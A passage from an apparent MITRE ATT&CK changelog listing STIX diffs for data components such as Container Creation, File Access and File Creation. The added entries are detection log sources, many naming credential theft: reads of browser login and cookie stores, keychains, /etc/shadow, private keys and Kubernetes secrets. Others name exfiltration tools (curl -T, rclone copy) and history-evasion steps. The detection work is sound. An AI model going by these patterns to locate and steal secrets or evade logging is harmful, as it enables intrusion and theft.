netstat, lsof, ps, mount)'}, {'name': 'esxi:shell', 'channel': 'shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration'}, {'name': 'vpxd.log', 'channel': 'VM inventory queries and configuration enumeration through vCenter API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying HISTFILE or HISTCONTROL via unset/export'}, {'name': 'macos:unifiedlog', 'channel': 'Set or unset HIST* variables in shell environment'}, {'name': 'esxi:shell', 'channel': 'unset HISTFILE or HISTFILESIZE modifications'}, {'name': 'networkdevice:cli', 'channel': "Commands like 'no logging' or equivalents that disable session history"}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to /usr/bin/locale or shell execution of $LANG'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale or systemsetup -gettimezone'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'"}, {'name': 'auditd:EXECVE', 'channel': 'curl -T, rclone copy'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start/modify'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load/unload or plist file modification'}, {'name': 'networkdevice:syslog', 'channel': 'syslog facility LOCAL7 or trap messages'}, {'name': 'linux:cli', 'channel': '/home/*/.bash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of lsmod, modinfo, or cat /proc/modules'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers"}, {'name': 'macos:unifiedlog', 'channel': 'dscl . -create'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks'}, {'name': 'esxi:vpxd', 'channel': 'vCenter Management'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:30.145000+00:00	2025-10-21 15:14:34.849000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0072] Container Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0072', 'external_id': 'DC0072'}]
x_mitre_log_sources		[{'name': 'kubernetes:apiserver', 'channel': 'create/exec: Kubernetes API calls to exec into containers or create pods from curl, kubectl, or SDK clients'}, {'name': 'kubernetes:events', 'channel': 'container start/stop activity via Docker, containerd, or CRI-O'}, {'name': 'docker:daemon', 'channel': 'container create/start with privileged flag or host volume mount'}, {'name': 'kubernetes:audit', 'channel': "create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true"}, {'name': 'systemd:unit', 'channel': "container run with restart policy set to 'always' or 'unless-stopped'"}, {'name': 'docker:events', 'channel': 'created,started: new container from untrusted registry or unexpected entrypoint'}, {'name': 'containerd:events', 'channel': 'create'}, {'name': 'docker:events', 'channel': 'docker run with restart=always or modifying init'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:30.196000+00:00	2025-10-21 15:14:37.681000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0091] Container Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0091', 'external_id': 'DC0091'}]
x_mitre_log_sources		[{'name': 'docker:daemon', 'channel': 'docker ps, docker inspect, or docker images commands'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeCluster, ListClusters, ListNodegroups'}, {'name': 'containerd:runtime', 'channel': 'e.g., containerd, Docker events'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:36.677000+00:00	2025-10-21 15:14:40.609000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0077] Container Start

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0077', 'external_id': 'DC0077'}]
x_mitre_log_sources		[{'name': 'docker:events', 'channel': 'exec_create: docker exec events targeting running containers from non-CI sources'}, {'name': 'kubernetes:events', 'channel': 'start: ContainerStarted or Pulling image → Started container'}, {'name': 'containerd:runtime', 'channel': 'CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces'}, {'name': 'docker:events', 'channel': 'start'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:33.436000+00:00	2025-10-21 15:14:37.615000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0101] Domain Registration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0101', 'external_id': 'DC0101'}]
x_mitre_log_sources		[{'name': 'Domain Name', 'channel': 'None'}, {'name': 'dns:query', 'channel': 'Excessive lookups for domains with suspicious WHOIS or short TTL values'}, {'name': 'esxi:vmkernel', 'channel': 'DNS lookups resolving to domains with rapid changes in registration metadata'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:34.616000+00:00	2025-10-21 15:14:40.288000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0054] Drive Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0054', 'external_id': 'DC0054'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=9'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls on /dev/sd* or /dev/nvme'}, {'name': 'auditd:SYSCALL', 'channel': 'write syscalls to /dev/sd targeting offset 0'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls to block devices (/dev/sd, /dev/nvme)'}, {'name': 'linux:syslog', 'channel': 'mount/umount or file copy logs'}, {'name': 'fs:fsusage', 'channel': 'open/read/mount operations'}, {'name': 'linux:osquery', 'channel': 'hardware_events'}, {'name': 'macos:osquery', 'channel': 'usb_devices'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:42.387000+00:00	2025-10-21 15:14:38.086000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0042] Drive Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0042', 'external_id': 'DC0042'}]
x_mitre_log_sources		[{'name': 'Drive', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'Kernel-PnP 410/400 device install, disk added'}, {'name': 'auditd:SYSCALL', 'channel': 'mknod,open,openat'}, {'name': 'macos:unifiedlog', 'channel': 'mounted\|appeared\|DA: disk* attached'}, {'name': 'WinEventLog:Microsoft-Windows-Partition/Diagnostic', 'channel': 'EventCode=1006'}, {'name': 'auditd:SYSCALL', 'channel': 'Removable media mount notification'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.diskarbitration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1006,10001'}, {'name': 'auditd:SYSCALL', 'channel': 'device event logs'}, {'name': 'linux:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + File Read'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'udev events or drive enumeration involving TinyPilot paths or device classes'}, {'name': 'linux:syslog', 'channel': 'Device attach logs containing TinyPilot/PiKVM identifiers'}, {'name': 'macos:unifiedlog', 'channel': 'Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'Kernel Device Events - USB Block Devices'}, {'name': 'maos:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + Process Trace + File Read'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=20001/20003'}, {'name': 'journald:systemd', 'channel': 'udisks2 or udevd logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "USBMSC"\''}, {'name': 'WinEventLog:System', 'channel': '20001-20003'}, {'name': 'linux:syslog', 'channel': "New HID device enumeration with type 'keyboard' followed by immediate input injection"}, {'name': 'macos:unifiedlog', 'channel': 'New IOUSB keyboard/HID device enumerated with suspicious attributes'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:36.536000+00:00	2025-10-21 15:14:37.342000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0046] Drive Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0046', 'external_id': 'DC0046'}]
x_mitre_log_sources		[{'name': 'Drive', 'channel': 'None'}, {'name': 'networkdevice:runtime', 'channel': 'Firmware image uploaded via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit disk write calls targeting raw devices'}, {'name': 'linux:syslog', 'channel': 'Block device write errors or unusual bootloader activity'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware image upload events via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write to EFI/boot partition sectors'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write activity targeting physical devices'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:35.797000+00:00	2025-10-22 19:03:17.198000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065

iterable_item_added
STIX Field	Old value	New Value
x_mitre_domains		ics-attack

[DC0079] Driver Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0079', 'external_id': 'DC0079'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=6'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=6'}, {'name': 'linux:syslog', 'channel': 'dmesg or syslog for module loads'}, {'name': 'linux:syslog', 'channel': 'Driver load events or firmware load failures for hardware devices'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:49.173000+00:00	2025-10-21 15:14:37.274000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0074] Driver Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0074', 'external_id': 'DC0074'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:52.372000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0055] File Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0055', 'external_id': 'DC0055'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'm365:unified', 'channel': 'FileAccessed, MailboxAccessed'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, or stat of browser config files'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library//Safari or Chrome directories by non-browser processes'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'gcp:audit', 'channel': 'Write operations to storage'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS access logs'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File access attempt on /tmp/krb5cc_ or /tmp/krb5.ccache'}, {'name': 'macos:unifiedlog', 'channel': 'Kerberos framework calls to API:{uuid} cache outside normal process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'openat'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656, 4663'}, {'name': 'auditd:FILE', 'channel': '/home//.mozilla/firefox//logins.json OR /home//.config/google-chrome//Login Data'}, {'name': 'macos:unifiedlog', 'channel': '~/Library/Application Support/Google/Chrome//Login Data OR ~/Library/Application Support/Firefox//logins.json'}, {'name': 'auditd:SYSCALL', 'channel': 'open'}, {'name': 'auditd:FILE', 'channel': '/proc//mem read attempt'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670, 4663'}, {'name': 'auditd:PATH', 'channel': 'Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)'}, {'name': 'macos:unifiedlog', 'channel': 'Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145, 4663'}, {'name': 'linux:syslog', 'channel': 'auth.log or custom tool logs'}, {'name': 'fs:fsusage', 'channel': 'file'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open, flock, fcntl, unlink'}, {'name': 'fs:fsusage', 'channel': 'File Access Monitor'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive files'}, {'name': 'macos:unifiedlog', 'channel': 'file read of sensitive directories'}, {'name': 'esxi:hostd', 'channel': 'datastore file access'}, {'name': 'auditd:SYSCALL', 'channel': 'Unusual processes accessing or modifying cookie databases'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal process access to Safari or Chrome cookie storage'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH records referencing /dev/video'}, {'name': 'macos:endpointsecurity', 'channel': 'open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks'}, {'name': 'ebpf:syscalls', 'channel': 'container_file_activity'}, {'name': 'fs:fsusage', 'channel': 'Disk Activity Tracing'}, {'name': 'macos:keychain', 'channel': 'Access to Keychain DB or system.keychain'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/'}, {'name': 'macos:keychain', 'channel': '~/Library/Keychains, /Library/Keychains'}, {'name': 'm365:unified', 'channel': 'Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)'}, {'name': 'auditd:PATH', 'channel': 'open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)'}, {'name': 'macos:unifiedlog', 'channel': 'open: Access to /var/log/system.log or related security event logs'}, {'name': 'azure:activity', 'channel': 'CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows'}, {'name': 'esxi:hostd', 'channel': 'read: Access to sensitive log files by non-admin users'}, {'name': 'auditd:SYSCALL', 'channel': 'Processes reading credential or token cache files'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive file directories'}, {'name': 'esxi:hostd', 'channel': 'datastore/log file access'}, {'name': 'fs:fsusage', 'channel': 'filesystem activity'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Suspicious file execution on removable media path'}, {'name': 'auditd:PATH', 'channel': 'path'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive config or secret files'}, {'name': 'macos:unifiedlog', 'channel': 'open/read of .plist or .env files'}, {'name': 'ebpf:syscalls', 'channel': 'open/read on secret mount paths'}, {'name': 'CloudTrail:GetObject', 'channel': 'sensitive credential files in buckets or local image storage'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories'}, {'name': 'macos:unifiedlog', 'channel': 'read of user document directories'}, {'name': 'esxi:syslog', 'channel': 'guest OS outbound transfer logs'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Call Monitoring'}, {'name': 'esxi:hostd', 'channel': 'vSphere File API Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read: Access to /proc/self/status with focus on TracerPID field'}, {'name': 'fs:fsusage', 'channel': 'read/write'}, {'name': 'esxis:vmkernel', 'channel': 'Datastore Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read access to ~/.bash_history'}, {'name': 'macos:endpointsecurity', 'channel': 'open or read syscall to ~/.bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains/login.keychain-db'}, {'name': 'auditd:SYSCALL', 'channel': 'open,read'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem and process events'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read system calls to ~/.bash_history or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains or history files by terminal processes'}, {'name': 'auditd:SYSCALL', 'channel': 'read of /run/secrets or docker volumes by non-entrypoint process'}, {'name': 'macos:unifiedlog', 'channel': 'access to /Volumes/SharePoint or network mount'}, {'name': 'auditd:SYSCALL', 'channel': 'Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/Safari/Bookmarks.plist or recent files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read'}, {'name': 'macos:unifiedlog', 'channel': 'access to keychain database'}, {'name': 'auditd:PATH', 'channel': 'file read'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to cryptographic operations, module loading, and filesystem access patterns'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating access to system configuration files and environmental information sources'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open, es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes'}, {'name': 'auditd:SYSCALL', 'channel': 'open or read to browser cookie storage'}, {'name': 'fs:fsusage', 'channel': 'file open for known browser cookie paths'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, mount'}, {'name': 'fs:fsusage', 'channel': 'file reads/writes from /Volumes/'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file provider subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'file'}, {'name': 'kubernetes:audit', 'channel': 'GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server'}, {'name': 'auditd:SYSCALL', 'channel': 'Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey'}, {'name': 'fs:quarantine', 'channel': '/var/log/quarantine.log'}, {'name': 'desktop:file_manager', 'channel': 'nautilus, dolphin, or gvfs logs'}, {'name': 'linux:osquery', 'channel': '/proc//maps access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories (/etc, /home/)'}, {'name': 'macos:unifiedlog', 'channel': 'read/write of user documents prior to upload'}, {'name': 'esxi:hostd', 'channel': 'file copy or datastore upload via HTTPS'}, {'name': 'macos:unifiedlog', 'channel': 'open/read access to private key files (id_rsa, .pem, .p12)'}, {'name': 'linux:osquery', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'fs:fileevents', 'channel': 'File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)'}, {'name': 'auditd:FS', 'channel': 'read: File access to /proc/modules or /sys/module/'}, {'name': 'macos:unifiedlog', 'channel': 'read: File access to /System/Library/Extensions/ or related kernel extension paths'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read on ~/.local/share/keepassxc/ OR ~/.password-store/'}, {'name': 'macos:unifiedlog', 'channel': '.opvault OR .ldb OR .kdbx'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:07.996000+00:00	2025-10-21 15:14:35.674000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0039] File Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0039', 'external_id': 'DC0039'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=11'}, {'name': 'auditd:SYSCALL', 'channel': 'creat'}, {'name': 'macos:unifiedlog', 'channel': 'file write'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Modification of .asar in /opt or ~/.config directories'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Modification of app.asar inside .app bundle'}, {'name': 'auditd:FILE', 'channel': "File creation with name starting with '.'"}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of browser extension .plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'open or creat syscalls targeting excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'file creation in AV exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'file creation/modification'}, {'name': 'macos:unifiedlog', 'channel': 'file write/create'}, {'name': 'esxi:vmkernel', 'channel': 'file write'}, {'name': 'snmp:syslog', 'channel': 'firmware write/log event'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions'}, {'name': 'fs:fsevents', 'channel': 'Create in /Users//Downloads or /private/var/folders/ with quarantine attribute'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS file creation'}, {'name': 'auditd:SYSCALL', 'channel': 'write/open, FIM audit'}, {'name': 'fs:fsusage', 'channel': 'open/write/exec calls'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .plist under /Library/Managed Preferences/'}, {'name': 'fs:fileevents', 'channel': 'creat'}, {'name': 'fs:fsusage', 'channel': 'disk activity on /Library/LaunchAgents or LaunchDaemons'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Write to ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'creation of ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib files in monitored directories'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'linux:Sysmon', 'channel': 'New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch'}, {'name': 'macos:unifiedlog', 'channel': 'New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children'}, {'name': 'auditd:FILE', 'channel': 'create: New file created in system binaries or temp directories'}, {'name': 'macos:unifiedlog', 'channel': 'File created in ~/Library/LaunchAgents or executable directories'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: File creation or deletion involving critical stored data'}, {'name': 'macos:unifiedlog', 'channel': 'Process wrote large .mov/.mp4 in user temp/hidden dirs'}, {'name': 'macos:unifiedlog', 'channel': 'logd:file write'}, {'name': 'fs:fsusage', 'channel': 'File IO'}, {'name': 'auditd:SYSCALL', 'channel': 'creat, open, write on /etc/systemd/system and /usr/lib/systemd/system'}, {'name': 'macos:unified', 'channel': 'File creation'}, {'name': 'macos:unifiedlog', 'channel': 'Attachment files written to ~/Downloads or temporary folders'}, {'name': 'fs:fsusage', 'channel': 'file activity'}, {'name': 'CloudTrail:PutObject', 'channel': 'PutObject'}, {'name': 'auditd:PATH', 'channel': 'Creation of files with extensions .sql, .csv, .sqlite, especially in user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Writes of .sql/.csv/.xlsx files to user documents/downloads'}, {'name': 'auditd:PATH', 'channel': 'New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install'}, {'name': 'auditd:SYSCALL', 'channel': 'write, open, or rename to /etc/systemd/system/.service'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories'}, {'name': 'fs:fsusage', 'channel': 'file open/write'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users//(Downloads\|Desktop\|Library//Containers\|Library/Group Containers) AND extension in SuspiciousExtensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open/create/rename: name in (/home//Downloads/\|/tmp/\|/run/user/\|/media/) AND ext in SuspiciousExtensions'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of archive files in /tmp, /var/tmp, or user home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'File Events'}, {'name': 'auditd:SYSCALL', 'channel': 'File creations of .qcow2, .vdi, .vmdk outside standard VM directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of postinstall scripts within .pkg or .mpkg contents'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang'}, {'name': 'macos:unifiedlog', 'channel': 'create: New files in /tmp or ~/Library/Application Support/ with executable or script extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write, unlink'}, {'name': 'WinEventLog:Sysmon', 'channel': 'File creation of suspicious scripts/binaries in temporary directories'}, {'name': 'macos:unifiedlog', 'channel': 'File creation of unsigned binaries/scripts in user cache or download directories'}, {'name': 'auditd:SYSCALL', 'channel': 'File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds'}, {'name': 'fs:fsusage', 'channel': 'create: Attachment file creation in ~/Library/Mail directories'}, {'name': 'WinEventLog:Microsoft-Windows-Shell-Core', 'channel': 'New startup folder shortcut or binary placed in Startup directory'}, {'name': 'auditd:SYSCALL', 'channel': 'write or create file after .bash_history access'}, {'name': 'auditd:SYSCALL', 'channel': 'new file created in /var/www/html, /srv/http, or similar web root'}, {'name': 'fs:launchdaemons', 'channel': 'file_create'}, {'name': 'auditd:PATH', 'channel': 'mount target path within /proc/'}, {'name': 'macos:fsevents', 'channel': '/Library/StartupItems/, ~/Library/LaunchAgents/'}, {'name': 'fs:fsusage', 'channel': 'write or chmod to ~/Library/LaunchAgents/.plist'}, {'name': 'auditd:PATH', 'channel': 'creation of .so files in non-standard directories (e.g., /tmp, /home/)'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files with anomalous headers and entropy levels in /tmp or user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of files with anomalous headers and entropy values'}, {'name': 'auditd:SYSCALL', 'channel': 'Access or modification to /lib/modules or creation of .ko files'}, {'name': 'fs:fsevents', 'channel': 'Directory events (kFSEventStreamEventFlagItemCreated)'}, {'name': 'gcp:workspaceaudit', 'channel': 'drive.activity logs'}, {'name': 'fs:fileevents', 'channel': 'create/write/rename in user-writable paths'}, {'name': 'auditd:PATH', 'channel': 